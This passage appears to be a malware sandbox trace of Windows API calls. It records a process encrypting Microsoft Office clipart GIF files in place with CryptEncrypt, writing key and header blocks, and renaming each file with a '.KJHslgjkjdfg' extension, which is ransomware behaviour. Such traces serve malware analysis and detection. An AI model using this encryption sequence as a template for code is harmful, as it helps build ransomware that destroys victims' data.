| out: pbBuffer=0x9adfd0) returned 1 [0218.959] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.960] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x9, lpOverlapped=0x0) returned 1 [0218.961] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.961] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.961] GetProcessHeap () returned 0x990000 [0218.961] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.961] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.961] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.961] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.961] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.961] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.961] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.961] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.961] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.961] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.961] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.961] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.961] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xff7, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xff7, lpOverlapped=0x0) returned 1 [0218.961] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1000, dwBufLen=0x1000 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1000) returned 1 [0218.962] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.962] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1000, lpOverlapped=0x0) returned 1 [0218.962] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.962] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x10d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.962] SetEndOfFile (hFile=0x130) returned 1 [0218.963] GetProcessHeap () returned 0x990000 [0218.963] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.963] GetProcessHeap () returned 0x990000 [0218.963] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.963] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01253_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01253_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01253_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01253_.gif.kjhslgjkjdfg")) returned 1 [0218.965] CloseHandle (hObject=0x130) returned 1 [0218.965] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9550b600, ftCreationTime.dwHighDateTime=0x1bd4e65, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9550b600, ftLastWriteTime.dwHighDateTime=0x1bd4e65, nFileSizeHigh=0x0, nFileSizeLow=0x1ab, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01268_.GIF", cAlternateFileName="")) returned 1 [0218.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01268_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01268_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.966] GetProcessHeap () returned 0x990000 [0218.966] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.966] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.966] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.966] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x5, lpOverlapped=0x0) returned 1 [0218.968] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.968] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.968] GetProcessHeap () returned 0x990000 [0218.968] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.968] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.968] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.968] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.968] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.968] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.968] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.968] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.968] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.968] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.968] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.968] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.968] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1ab, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1ab, lpOverlapped=0x0) returned 1 [0218.968] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1b0, dwBufLen=0x1b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1b0) returned 1 [0218.969] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.969] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1b0, lpOverlapped=0x0) returned 1 [0218.969] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.969] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x284, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.969] SetEndOfFile (hFile=0x130) returned 1 [0218.976] GetProcessHeap () returned 0x990000 [0218.976] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.976] GetProcessHeap () returned 0x990000 [0218.976] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.976] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01268_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01268_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01268_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01268_.gif.kjhslgjkjdfg")) returned 1 [0218.979] CloseHandle (hObject=0x130) returned 1 [0218.979] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc336fa00, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc336fa00, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x255, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01292_.GIF", cAlternateFileName="")) returned 1 [0218.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01292_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01292_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.981] GetProcessHeap () returned 0x990000 [0218.981] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.981] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.981] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.981] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xb, lpOverlapped=0x0) returned 1 [0218.983] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.983] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.983] GetProcessHeap () returned 0x990000 [0218.983] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.983] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.983] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.983] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.983] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.983] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.983] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.984] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.984] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.984] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.984] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.984] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.984] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x255, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x255, lpOverlapped=0x0) returned 1 [0218.984] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x260, dwBufLen=0x260 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x260) returned 1 [0218.984] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.984] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x260, lpOverlapped=0x0) returned 1 [0218.984] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.984] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x334, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.984] SetEndOfFile (hFile=0x130) returned 1 [0218.987] GetProcessHeap () returned 0x990000 [0218.987] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.987] GetProcessHeap () returned 0x990000 [0218.987] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.987] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01292_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01292_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01292_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01292_.gif.kjhslgjkjdfg")) returned 1 [0218.988] CloseHandle (hObject=0x130) returned 1 [0218.988] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc0fec00, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc0fec00, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x2a7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01293_.GIF", cAlternateFileName="")) returned 1 [0218.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01293_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01293_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.990] GetProcessHeap () returned 0x990000 [0218.990] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.990] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.990] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.990] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x9, lpOverlapped=0x0) returned 1 [0218.992] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.992] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.992] GetProcessHeap () returned 0x990000 [0218.992] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.992] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.992] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.992] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.992] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.993] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.993] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.993] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.993] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.993] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.993] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.993] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.993] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2a7, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2a7, lpOverlapped=0x0) returned 1 [0218.993] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2b0, dwBufLen=0x2b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2b0) returned 1 [0218.993] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.993] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2b0, lpOverlapped=0x0) returned 1 [0218.993] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.993] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x384, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.993] SetEndOfFile (hFile=0x130) returned 1 [0218.996] GetProcessHeap () returned 0x990000 [0218.996] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.996] GetProcessHeap () returned 0x990000 [0218.996] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.996] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01293_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01293_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01293_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01293_.gif.kjhslgjkjdfg")) returned 1 [0218.998] CloseHandle (hObject=0x130) returned 1 [0218.998] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0242a00, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0242a00, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x2ad, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01294_.GIF", cAlternateFileName="")) returned 1 [0218.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01294_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01294_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.999] GetProcessHeap () returned 0x990000 [0219.000] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.000] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.000] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0219.000] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x3, lpOverlapped=0x0) returned 1 [0219.001] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.001] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.001] GetProcessHeap () returned 0x990000 [0219.001] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.001] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0219.001] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.001] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0219.002] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, 